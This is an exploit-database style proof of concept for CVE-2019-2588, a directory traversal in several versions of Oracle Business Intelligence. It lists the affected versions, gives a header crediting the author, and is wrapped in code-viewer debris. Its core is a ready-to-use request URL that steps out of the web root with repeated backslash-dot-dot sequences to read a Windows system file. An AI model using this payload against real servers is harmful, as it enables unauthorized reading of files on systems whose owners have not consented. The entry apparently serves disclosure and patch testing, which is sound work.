13 lines
No EOL
500 B
Text
13 lines
No EOL
500 B
Text
# Exploit Title: Directory traversal in Oracle Business Intelligence
|
|
# Date: 16.04.19
|
|
# Exploit Author: @vah_13
|
|
# Vendor Homepage: http://oracle.com
|
|
# Software Link:
|
|
https://www.oracle.com/technetwork/middleware/bi-enterprise-edition/downloads/index.html
|
|
# Version: 11.1.1.9.0, 12.2.1.3.0, 12.2.1.4.0
|
|
# Tested on: Windows
|
|
# CVE : CVE-2019-2588
|
|
|
|
PoC
|
|
|
|
http://server:9502/xmlpserver/servlet/adfresource?format=aaaaaaaaaaaaaaa&documentId=..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\Windows\win.ini |